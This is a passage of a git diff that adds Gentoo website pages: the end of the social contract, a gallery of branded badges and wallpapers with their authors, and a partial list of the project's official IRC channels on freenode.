+our discretion) or the Creative Commons - Attribution / Share Alike version 2 
+(or later, at our discretion). Any external contributions to Gentoo (in the form
+of freely-distributable sources, binaries, metadata or documentation) may be 
+incorporated into Gentoo provided that we are legally entitled to do so.  
+However, Gentoo will never <e>depend</e> upon a piece of software or metadata 
+unless it conforms to the GNU General Public License, the GNU Lesser General 
+Public License, the Creative Commons - Attribution/Share Alike or some other 
+license approved by the Open Source Initiative (<uri 
+link="http://www.opensource.org/licenses/index.html">OSI</uri>).
+</p>
+
+<note>
+We are considering extending the above clause to require that all core
+Gentoo components must conform to a license approved by the OSI 
+<e>and</e> Free Software Foundation (<uri 
+link="http://www.gnu.org/">FSF</uri>).
+</note>
+
+</body>
+</section>
+<section>
+<title>We will give back to the Free Software Community</title>
+<body>
+
+<p>
+We will establish relationships with Free Software authors and collaborate with
+them when possible.  We will submit bug-fixes, improvements, user requests, etc.
+to the "upstream" authors of software included in our system.  We will also 
+clearly document <e>our</e> contributions to Gentoo as well as any 
+improvements or changes we make to external sources used by Gentoo (whether in 
+the form of patches, "sed tweaks" or some other form).  We acknowledge that our
+improvements and changes are much more meaningful to the larger Free Software
+community if they are clearly documented and explained, since not everyone has
+the time or ability to understand the literal changes contained in the patches
+or tweaks themselves.
+</p>
+
+</body>
+</section>
+<section>
+<title>We will not hide problems</title>
+<body>
+
+<p>
+We will keep our <uri link="http://bugs.gentoo.org/">bug report database</uri> 
+open for public view at all times; reports that users file online will 
+immediately become visible to others. 
+</p>
+
+<p>
+Exceptions are made when we receive security-related or developer relations 
+information with the request not to publicize before a certain deadline.
+</p>
+
+</body>
+</section>
+</chapter>
+</mainpage>
diff --git a/xml/htdocs/main/en/graphics.xml b/xml/htdocs/main/en/graphics.xml
new file mode 100644
index 00000000..450a879b
--- /dev/null
+++ b/xml/htdocs/main/en/graphics.xml
@@ -0,0 +1,437 @@
+<?xml version='1.0' encoding='utf-8'?>
+<!DOCTYPE mainpage SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/main/en/graphics.xml,v 1.36 2008/07/04 20:42:53 nightmorph Exp $ -->
+
+<mainpage>
+<title>Gentoo Linux Graphics</title>
+
+<author title="Previous Chief Architect">
+  <mail link="drobbins@gentoo.org">Daniel Robbins</mail>
+</author>
+<author title="Editor">
+  <mail link="curtis119@gentoo.org">Curtis Napier</mail>
+</author>
+
+<abstract>
+Listing of various graphical resources available for use under the terms of the
+Gentoo Name and Logo Usage Guidelines
+</abstract>
+
+<license/>
+
+<version>2.13</version>
+<date>2008-07-04</date>
+
+<chapter>
+<title>Gentoo Branded Artwork</title>
+<section>
+<title>Terms of Use</title>
+<body>
+
+<p>
+The graphics on this page are written by various authors who grant you
+permission to use and modify them as you see fit. The use of the Gentoo name and
+logo are governed by the <uri link="/main/en/name-logo.xml">Gentoo Name and Logo
+Usage Guidelines</uri>.
+</p>
+
+</body>
+</section>
+<section>
+<title>Contribute</title>
+<body>
+
+<p>
+If you want to contribute a graphic to Gentoo, please use the <uri
+link="http://forums.gentoo.org">Gentoo Forums</uri> first so others can comment
+and help you improve the quality of the graphic. Then contact <mail
+link="www@gentoo.org">the Gentoo WWW team</mail> and ask for your graphic to be
+included.
+</p>
+
+<p>
+The team may decide not to include your artwork if it is too close to existing
+graphics, is not available in sufficient resolutions, does not fit the Gentoo
+spirit (for instance because it is offensive) or any other reason.
+</p>
+
+<p>
+Including a graphic on the page can take some time, please be patient.
+</p>
+
+</body>
+</section>
+<section>
+<title>Gentoo Misc Graphics</title>
+<body>
+
+<p>
+<uri link="/images/gentoo-logo.svg">G logo in
+svg format provided by Lennart Andre Rolland</uri>
+</p>
+
+<p>
+<uri link="/images/gentoo-openbsd.png">Gentoo/OpenBSD logo in png format
+provided by the Gentoo Artwork Project</uri>
+</p>
+
+</body>
+</section>
+<section>
+<title>Gentoo Linux Badges</title>
+<body>
+
+<p>
+<b>Let the world know that you run on Gentoo Linux.</b>
+</p>
+
+<p>
+Put a <e>Powered by Gentoo</e> image on your Gentoo powered web sites or use a
+<e>Gentoo Badge</e> on your web page, blog, forum signature or elsewhere and 
+link back to <uri link="http://www.gentoo.org">http://www.gentoo.org</uri> - 
+help us spread the word! Tell others how happy you are with Gentoo Linux.
+</p>
+
+<table>
+<tr>
+  <ti>
+    <fig link="/images/powered-show.png"/>
+  </ti>
+  <ti>
+    <fig link="/images/powered-by-gentoo.jpg"/><br/>
+    <fig link="/images/powered-by-gentoo2.jpg"/><br/>
+    <fig link="/images/powered-by-gentoo3.png"/><br/>
+    <fig link="/images/powered-by-gentoo4.png"/>
+  </ti>
+  <ti>
+    <fig link="/images/ralph_gentoo_badge.png"/>
+  </ti>
+  <ti>
+    <fig link="/images/gentoo-badge.png"/>
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <uri link="/images/powered-small.png">Small</uri> - 
+    <uri link="/images/powered.png">Medium</uri> -
+    <uri link="/images/powered-big.png">Large</uri>
+  </ti>
+  <ti>
+    by Sascha Schwabbauer
+  </ti>
+  <ti>
+    by Ralph Jacobs
+  </ti>
+  <ti>
+    by Ryan Viljoen
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <fig link="/images/gentoo-badge2.png"/>
+  </ti>
+  <ti>
+    <fig link="/images/gentoo-badge3.png"/>
+  </ti>
+  <ti>
+    <fig link="/images/szbence-badge1.png"/><br/>
+    <fig link="/images/szbence-badge2.png"/><br/>
+    <fig link="/images/szbence-badge3.png"/><br/>
+    <fig link="/images/szbence-badge4.png"/><br/>
+    <fig link="/images/szbence-badge5.png"/><br/>
+    <fig link="/images/szbence-badge6.png"/>
+  </ti>
+  <ti>
+    <fig link="/images/hardened-badge.png"/>
+  </ti>
+</tr>
+<tr>
+  <ti>
+    by <uri link="http://forums.gentoo.org/profile.php?mode=viewprofile&amp;u=36364">m@o</uri>
+  </ti>
+  <ti>
+    by <uri link="http://forums.gentoo.org/profile.php?mode=viewprofile&amp;u=26433">wolven</uri>
+  </ti>
+  <ti>
+    by <uri link="http://forums.gentoo.org/viewtopic-t-7763-start-50.html">Szabó Bence</uri>
+  </ti>
+  <ti>
+    by <uri link="http://www.liquidustech.com/">Matthew Summers</uri>
+  </ti>
+</tr>
+</table>
+
+</body>
+</section>
+<section>
+<title>Gentoo Linux Wallpapers</title>
+<body>
+
+<p>
+<b>Brand your desktop with a nice Gentoo wallpaper and show your colleagues that
+you run Gentoo Linux.</b>
+</p>
+
+<p>
+Use one of these <e>Gentoo Wallpapers</e> to beautify your desktop. Show every
+one that you run Gentoo Linux and run it with pride. 
+</p>
+
+<!--
+  Use 120x90 graphics for display purposes
+-->
+
+<table>
+<tr>
+  <ti>
+    <fig link="/images/backgrounds/gentoo120x90.jpg"/>
+  </ti>
+  <ti>
+    <fig link="/images/backgrounds/gentoo-cycle-120x90.jpg"/>
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <uri link="/images/backgrounds/gentoo640x480.jpg">640x680</uri> - 
+    <uri link="/images/backgrounds/gentoo1024x768.jpg">1024x768</uri> -
+    <uri link="/images/backgrounds/gentoo1152x864.jpg">1152x864</uri> - 
+    <uri link="/images/backgrounds/gentoo1280x1024.jpg">1280x1024</uri> -
+    <uri link="/images/backgrounds/gentoo1600x1200.jpg">1600x1200</uri><br/>
+    by <uri link="http://forums.gentoo.org/viewtopic.php?t=6745">mksoft</uri>
+  </ti>
+  <ti>
+    <uri link="/images/backgrounds/gentoo-cycle-640x480.jpg">640x480</uri> -
+    <uri link="/images/backgrounds/gentoo-cycle-1024x768.jpg">1024x768</uri> -
+    <uri link="/images/backgrounds/gentoo-cycle-1152x864.jpg">1152x864</uri> -
+    <uri link="/images/backgrounds/gentoo-cycle-1280x1024.jpg">1280x1024</uri> -
+    <uri link="/images/backgrounds/gentoo-cycle-1600x1200.jpg">1600x1200</uri>
+    <br/>
+    by <uri link="http://forums.gentoo.org/viewtopic.php?t=6868">mksoft</uri>
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <fig link="/images/backgrounds/gentoo-ice-light2-120x90.jpg"/>
+  </ti>
+  <ti>
+    <fig link="/images/backgrounds/gentoo-ice-120x90.jpg"/>
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <uri link="/images/backgrounds/gentoo-ice-light2-640x480.jpg">640x480</uri> - 
+    <uri link="/images/backgrounds/gentoo-ice-light2-1024x768.jpg">1024x768</uri> -
+    <uri link="/images/backgrounds/gentoo-ice-light2-1152x864.jpg">1152x864</uri> -
+    <uri link="/images/backgrounds/gentoo-ice-light2-1280x1024.jpg">1280x1024</uri> -
+    <uri link="/images/backgrounds/gentoo-ice-light2-1600x1200.jpg">1600x1200</uri>
+    <br/>
+    by <uri link="http://forums.gentoo.org/viewtopic.php?t=7993">mksoft</uri>
+  </ti>
+  <ti>
+    <uri link="/images/backgrounds/gentoo-ice-640x480.jpg">640x480</uri> -
+    <uri link="/images/backgrounds/gentoo-ice-1024x768.jpg">1024x768</uri> -
+    <uri link="/images/backgrounds/gentoo-ice-1152x864.jpg">1152x864</uri> -
+    <uri link="/images/backgrounds/gentoo-ice-1280x1024.jpg">1280x1024</uri> -
+    <uri link="/images/backgrounds/gentoo-ice-1600x1200.jpg">1600x1200</uri>
+    <br/>
+    by <uri link="http://forums.gentoo.org/viewtopic.php?t=7672">mksoft</uri>
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <fig link="/images/backgrounds/gentoo-box-120x90.jpg"/>
+  </ti>
+  <ti>
+    <fig link="/images/backgrounds/gentoo-minimal-120x90.jpg"/>
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <uri link="/images/backgrounds/gentoo-box-640x480.jpg">640x480</uri> -
+    <uri link="/images/backgrounds/gentoo-box-1024x768.png">1024x768</uri> -
+    <uri link="/images/backgrounds/gentoo-box-1152x864.png">1152x864</uri> -
+    <uri link="/images/backgrounds/gentoo-box-1280x1024.png">1280x1024</uri> -
+    <uri link="/images/backgrounds/gentoo-box-1600x1200.png">1600x1200</uri>
+    <br/>
+    by Luca Martinetti
+  </ti>
+  <ti>
+    <uri link="/images/backgrounds/gentoo-minimal-800x600.jpg">800x600</uri> -
+    <uri link="/images/backgrounds/gentoo-minimal-1024x768.jpg">1024x768</uri> -
+    <uri link="/images/backgrounds/gentoo-minimal-1152x864.jpg">1152x864</uri> -
+    <uri link="/images/backgrounds/gentoo-minimal-1280x1024.jpg">1280x1024</uri> -
+    <uri link="/images/backgrounds/gentoo-minimal-1600x1200.jpg">1600x1200</uri>
+    <br/>
+    by <uri link="http://forums.gentoo.org/viewtopic-t-365758.html">Brian
+    Wigginton</uri>
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <fig link="/images/backgrounds/gentoo-amd64_1-120x90.jpg"/>
+  </ti>
+  <ti>
+    <fig link="/images/backgrounds/gentoo-amd64_2-120x90.jpg"/>
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <uri link="/images/backgrounds/gentoo-amd64_1-800x600.jpg">800x600</uri> - 
+    <uri link="/images/backgrounds/gentoo-amd64_1-1024x768.jpg">1024x768</uri> - 
+    <uri link="/images/backgrounds/gentoo-amd64_1-1280x1024.jpg">1280x1024</uri>
+    <br/>
+    by Tedder Wayne
+  </ti>
+  <ti>
+    <uri link="/images/backgrounds/gentoo-amd64_2-800x600.jpg">800x600</uri> - 
+    <uri link="/images/backgrounds/gentoo-amd64_2-1024x768.jpg">1024x768</uri> - 
+    <uri link="/images/backgrounds/gentoo-amd64_2-1280x1024.jpg">1280x1024</uri>
+    <br/>
+    by Tedder Wayne
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <fig link="/images/backgrounds/gentoo-glass-120x90.jpg"/>
+  </ti>
+  <ti>
+    <fig link="/images/backgrounds/gentoo-causticswp-120x90.jpg"/>
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <uri link="/images/backgrounds/gentoo-glass-800x600.jpg">800x600</uri> - 
+    <uri link="/images/backgrounds/gentoo-glass-1024x768.jpg">1024x768</uri> -
+    <uri link="/images/backgrounds/gentoo-glass-1280x1024.jpg">1280x1024</uri> - 
+    <uri link="/images/backgrounds/gentoo-glass-1600x1200.jpg">1600x1200</uri>
+    <br/>
+    by Robert Krig
+  </ti>
+  <ti>
+    <uri link="/images/backgrounds/gentoo-causticswp-800x600.jpg">800x600</uri>
+    - 
+    <uri
+    link="/images/backgrounds/gentoo-causticswp-1024x768.jpg">1024x768</uri> - 
+    <uri
+    link="/images/backgrounds/gentoo-causticswp-1280x1024.jpg">1280x1024</uri> - 
+    <uri
+    link="/images/backgrounds/gentoo-causticswp-1600x1200.jpg">1600x1200</uri>
+    <br/>
+    by Robert Krig
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <fig link="/images/backgrounds/gentoo-water-120x90.jpg"/>
+  </ti>
+  <ti>
+    <fig link="/images/backgrounds/gentoo-chojindsl_1-120x90.jpg"/>
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <uri link="/images/backgrounds/gentoo-water-800x600.jpg">800x600</uri> - 
+    <uri link="/images/backgrounds/gentoo-water-1024x768.jpg">1024x768</uri> -
+    <uri link="/images/backgrounds/gentoo-water-1280x1024.jpg">1280x1024</uri> -
+    <uri link="/images/backgrounds/gentoo-water-1600x1200.jpg">1600x1200</uri>
+    <br/>
+    by Robert Krig
+  </ti>
+  <ti>
+    <uri link="/images/backgrounds/gentoo-chojindsl_1-800x600.jpg">800x600</uri>
+    - 
+    <uri
+    link="/images/backgrounds/gentoo-chojindsl_1-1024x768.jpg">1024x768</uri> - 
+    <uri link="/images/backgrounds/gentoo-chojindsl_1-1280x1024.jpg">1280x1024</uri>
+    - 
+    <uri
+    link="/images/backgrounds/gentoo-chojindsl_1-1600x1200.jpg">1600x1200</uri>
+    <br/>
+    by Robert Krig
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <fig link="/images/backgrounds/gentoo-chojindsl_2-120x90.jpg"/>
+  </ti>
+  <ti>
+    <fig link="/images/backgrounds/cow-push-120x90.jpg"/>
+  </ti>
+</tr>
+<tr>
+  <ti>
+     <uri link="/images/backgrounds/gentoo-chojindsl_2-800x600.jpg">800x600</uri>
+    - 
+    <uri
+    link="/images/backgrounds/gentoo-chojindsl_2-1024x768.jpg">1024x768</uri> - 
+    <uri link="/images/backgrounds/gentoo-chojindsl_2-1280x1024.jpg">1280x1024</uri>
+    - 
+    <uri
+    link="/images/backgrounds/gentoo-chojindsl_2-1600x1200.jpg">1600x1200</uri>
+    <br/>
+    by Robert Krig
+  </ti>
+  <ti>
+    <uri link="/images/backgrounds/cow-push-800x600.jpg">800x600</uri> - 
+    <uri link="/images/backgrounds/cow-push-1024x768.jpg">1024x768</uri> - 
+    <uri link="/images/backgrounds/cow-push-1152x864.jpg">1152x864</uri> - 
+    <uri link="/images/backgrounds/cow-push-1280x1024.jpg">1280x1024</uri> - 
+    <uri link="/images/backgrounds/cow-push-1600x1200.jpg">1600x1200</uri>
+    <br/>
+    by <uri
+    link="http://forums.gentoo.org/profile.php?mode=viewprofile&amp;u=100549">Tero Konttila</uri>
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <fig link="/images/backgrounds/cow-push2-120x90.jpg"/>
+  </ti>
+  <ti>
+    <fig link="/images/backgrounds/macosx-gentoo-120x90.jpg"/>
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <uri link="/images/backgrounds/cow-push2-800x600.jpg">800x600</uri> - 
+    <uri link="/images/backgrounds/cow-push2-1024x768.jpg">1024x768</uri> - 
+    <uri link="/images/backgrounds/cow-push2-1152x864.jpg">1152x864</uri> - 
+    <uri link="/images/backgrounds/cow-push2-1280x1024.jpg">1280x1024</uri> - 
+    <uri link="/images/backgrounds/cow-push2-1600x1200.jpg">1600x1200</uri>
+    <br/>
+    by <uri
+    link="http://forums.gentoo.org/profile.php?mode=viewprofile&amp;u=100549">Tero Konttila</uri>
+  </ti>
+  <ti>
+    <uri link="/images/backgrounds/macosx-gentoo-800x600.jpg">800x600</uri> - 
+    <uri link="/images/backgrounds/macosx-gentoo-1024x768.jpg">1024x768</uri> - 
+    <uri link="/images/backgrounds/macosx-gentoo-1152x864.jpg">1152x864</uri> - 
+    <uri link="/images/backgrounds/macosx-gentoo-1280x1024.jpg">1280x1024</uri> - 
+    <uri link="/images/backgrounds/macosx-gentoo-1600x1200.jpg">1600x1200</uri>
+    <br/>
+    by Przemysław Pazik
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <fig link="/images/backgrounds/gentoo-abducted-120x90.png"/>
+  </ti>
+  <ti></ti>
+</tr>
+<tr>
+  <ti>
+    <uri link="/images/backgrounds/gentoo-abducted-800x600.png">800x600</uri> -
+    <uri link="/images/backgrounds/gentoo-abducted-1024x768.png">1024x768</uri> -
+    <uri link="/images/backgrounds/gentoo-abducted-1152x864.png">1152x864</uri> -
+    <uri link="/images/backgrounds/gentoo-abducted-1280x1024.png">1280x1024</uri> -
+    <uri link="/images/backgrounds/gentoo-abducted-1600x1200.png">1600x1200</uri>
+    <br/>
+    by <uri link="http://forums.gentoo.org/viewtopic-t-257123.html">Matteo 'Peach' Pescarin</uri>
+  </ti>
+  <ti></ti>
+</tr>
+</table>
+
+</body>
+</section>
+</chapter>
+</mainpage>
diff --git a/xml/htdocs/main/en/irc.xml b/xml/htdocs/main/en/irc.xml
new file mode 100644
index 00000000..477ea7a8
--- /dev/null
+++ b/xml/htdocs/main/en/irc.xml
@@ -0,0 +1,494 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!DOCTYPE mainpage SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/main/en/irc.xml,v 1.126 2010/07/16 22:54:50 nightmorph Exp $ -->
+
+<mainpage>
+<title>Gentoo Linux IRC Resources</title>
+<author title="Editor">
+  Colin Morey
+</author>
+<author title="Editor">
+  <mail link="klieber@gentoo.org">Kurt Lieber</mail>
+</author>
+<author title="Editor">
+  <mail link="fox2mike@gentoo.org">Shyam Mani</mail>
+</author>
+<author title="Editor">
+  <mail link="astinus@gentoo.org">Alex Howells</mail>
+</author>
+<author title="Editor">
+  <mail link="nightmorph@gentoo.org">Joshua Saddler</mail>
+</author>
+<author title="Editor">
+  <mail link="musikc@gentoo.org">Christina Fullam</mail>
+</author>
+
+<abstract>
+Official Gentoo IRC channels
+</abstract>
+
+<license/>
+
+<version>1.39</version>
+<date>2010-07-16</date>
+
+<chapter>
+<title>Internet Relay Chat</title>
+<section>
+<body>
+
+<p>
+<b>All our official IRC channels can be found on <uri
+link="http://www.freenode.net/">freenode</uri></b>.
+</p>
+
+<p>
+All of our channels are managed by volunteers for the mutual benefit
+of users and contributors alike, and we consider IRC to be open to everyone.
+Please feel free to pop in and introduce yourself, and consider it a resource
+for when you run into problems or have questions about Gentoo Linux.
+</p>
+
+<p>
+We ask very little of users visiting our support channels on freenode:
+</p>
+
+<ul>
+  <li>Please act sensibly and maturely, abiding by the <uri link="/proj/en/council/coc.xml">Code of Conduct</uri>.</li>
+  <li>Please read the topic when entering a channel, it contains valuable information!</li>
+  <li>Bots or scripts that talk are not welcome in most channels. If in doubt, please ask.</li>
+  <li>Please do not use <c>CTCP VERSION</c> or the like on users / channels without their consent.</li>
+  <li>Please note we operate a clean-language policy in #gentoo, and swearing is not permitted.</li>
+  <li>Please also note we are unable to support alternate package managers in #gentoo, just Portage! </li>
+</ul>
+
+<p>
+It should be noted that we do <b>not</b> provide support for derivative distributions based upon Gentoo Linux.
+</p>
+
+<table>
+<tr>
+  <th>Primary Support Channel(s)</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo">#gentoo</uri></ti>
+  <th>Issues with your installation, got a problem with Xorg?  Give #gentoo a try!</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-dev">#gentoo-dev</uri></ti>
+  <th>Discussion about the active development of Gentoo Linux, requires voice (+v).</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-groupcontacts">#gentoo-groupcontacts</uri></ti>
+    <th>Gentoo Group Contacts are the official means of requesting or reporting
+    an issue with a Freenode cloak or channel, etc.</th>
+    </tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-ops">#gentoo-ops</uri></ti>
+  <th>Questions or complaints about #gentoo policy or bans must be raised here only.</th>
+</tr>
+</table>
+
+<table>
+<tr>
+  <th>Architecture &amp; Platform Support Channels</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-alpha">#gentoo-alpha</uri></ti>
+  <th>Gentoo Linux/Alpha</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-amd64">#gentoo-amd64</uri></ti>
+  <th>Gentoo Linux/AMD64</th>
+</tr>
+<tr>
+  <ti>
+    <uri link="irc://irc.gentoo.org/gentoo-amd64-dev">#gentoo-amd64-dev</uri>
+  </ti>
+  <th>Gentoo Linux/AMD64 Developer Channel</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-bsd">#gentoo-bsd</uri></ti>
+  <th>Gentoo *BSD</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-hppa">#gentoo-hppa</uri></ti>
+  <th>Gentoo Linux/HPPA</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-ia64">#gentoo-ia64</uri></ti>
+  <th>Gentoo Linux/IA-64</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-mips">#gentoo-mips</uri></ti>
+  <th>Gentoo Linux/MIPS</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-powerpc">#gentoo-powerpc</uri></ti>
+  <th>Gentoo Linux/PowerPC (PPC and PPC64)</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-sparc">#gentoo-sparc</uri></ti>
+  <th>Gentoo Linux/Sparc</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-x86">#gentoo-x86</uri></ti>
+  <th>Gentoo Linux/x86 development</th>
+</tr>
+</table>
+
+<table>
+<tr>
+  <th><b>General &amp; Development Channels</b></th>
+</tr>
+<tr>
+  <ti>
+    <uri
+    link="irc://irc.gentoo.org/gentoo-accessibility">#gentoo-accessibility</uri>
+  </ti>
+  <th>
+    The <uri link="/proj/en/desktop/accessibility">Accessibility</uri> project
+  </th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-apache">#gentoo-apache</uri></ti>
+  <th>Gentoo Apache development related chat</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-bugs">#gentoo-bugs</uri></ti>
+  <th>Gentoo BugDay Events, Gentoo Bug Fixing</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-cluster">#gentoo-cluster</uri></ti>
+  <th>Gentoo Linux/Clustering</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-council">#gentoo-council</uri></ti>
+  <th><uri link="/proj/en/council">Gentoo Council</uri></th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-commits">#gentoo-commits</uri></ti>
+  <th>Real-time Gentoo CVS/SVN commit information</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-db">#gentoo-db</uri></ti>
+  <th>Database-related Packages and Discussion.</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-desktop">#gentoo-desktop</uri></ti>
+  <th>Developers &amp; Users, all things desktop</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-dev-help">#gentoo-dev-help</uri></ti>
+  <th>Ebuild Writers' Workplace</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-devrel">#gentoo-devrel</uri></ti>
+  <th>The <uri link="/proj/en/devrel">Developer Relations</uri> project</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-doc">#gentoo-doc</uri></ti>
+  <th>Gentoo Documentation Development</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-embedded">#gentoo-embedded</uri></ti>
+  <th>Embedded Gentoo Linux</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-events">#gentoo-events</uri></ti>
+  <th>Planning and Real-Time Chat during Gentoo public events</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-forums">#gentoo-forums</uri></ti>
+  <th>Gentoo Forums related chat</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-games">#gentoo-games</uri></ti>
+  <th>Gentoo Linux native gaming discussion (no Cedega/Wine)</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-guis">#gentoo-guis</uri></ti>
+  <th>Gentoo GUIs Project</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-hardened">#gentoo-hardened</uri></ti>
+  <th>Hardened Gentoo Linux</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-haskell">#gentoo-haskell</uri></ti>
+  <th>Haskell Packages</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-java">#gentoo-java</uri></ti>
+  <th>Java related chat</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-kde">#gentoo-kde</uri></ti>
+  <th>KDE package maintainance</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-kernel">#gentoo-kernel</uri></ti>
+  <th>Gentoo Kernel development discussion</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-gmn">#gentoo-gmn</uri></ti>
+  <th>Gentoo Monthly Newsletter</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-laptop">#gentoo-laptop</uri></ti>
+  <th>Laptop related chat</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-lisp">#gentoo-lisp</uri></ti>
+  <th>Gentoo Lisp related chat</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-media">#gentoo-media</uri></ti>
+  <th>Gentoo multimedia development</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-mirrors">#gentoo-mirrors</uri></ti>
+  <th>Gentoo mirrors and administration chat</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-netmail">#gentoo-netmail</uri></ti>
+  <th>Mail-related packages</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-netmon">#gentoo-netmon</uri></ti>
+  <th>Network Monitoring Packages</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-perl">#gentoo-perl</uri></ti>
+  <th>All things Gentoo perl</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-php">#gentoo-php</uri></ti>
+  <th>Gentoo PHP discussion/support</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-portage">#gentoo-portage</uri></ti>
+  <th>Gentoo Portage Development</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-pr">#gentoo-pr</uri></ti>
+  <th>The <uri link="/proj/en/pr">Public Relations</uri> project</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-prefix">#gentoo-prefix</uri></ti>
+  <th>The <uri link="/proj/en/gentoo-alt/prefix/">Gentoo Prefix</uri> project</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-python">#gentoo-python</uri></ti>
+  <th>Gentoo Python discussion/support</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-qa">#gentoo-qa</uri></ti>
+  <th>Gentoo <uri link="/proj/en/qa">Quality Assurance</uri></th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.irc.gentoo.org/gentoo-qt">#gentoo-qt</uri></ti>
+  <th>Gentoo <uri link="/proj/en/desktop/qt/">Qt Project</uri></th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-releng">#gentoo-releng</uri></ti>
+  <th>Gentoo Release Engineering internal discussion</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-ruby">#gentoo-ruby</uri></ti>
+  <th>Ruby on Gentoo</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-science">#gentoo-science</uri></ti>
+  <th>Gentoo Scientific Project</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-security">#gentoo-security</uri></ti>
+  <th>Discussions about the security of Gentoo Linux</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-server">#gentoo-server</uri></ti>
+  <th>Server related chat</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-soc">#gentoo-soc</uri></ti>
+  <th>Our participation in the Google Summer of Code</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-sunrise">#gentoo-sunrise</uri></ti>
+  <th><uri link="/proj/en/sunrise">Project Sunrise - Gentoo User Overlay</uri></th>
+</tr>
+<tr>
+  <ti>
+    <uri link="irc://irc.gentoo.org/gentoo-toolchain">#gentoo-toolchain</uri>
+  </ti>
+  <th>Discussion about the Gentoo toolchain (GCC, libc, binutils, etc.)</th>
+</tr>
+<tr>
+  <ti>
+    <uri
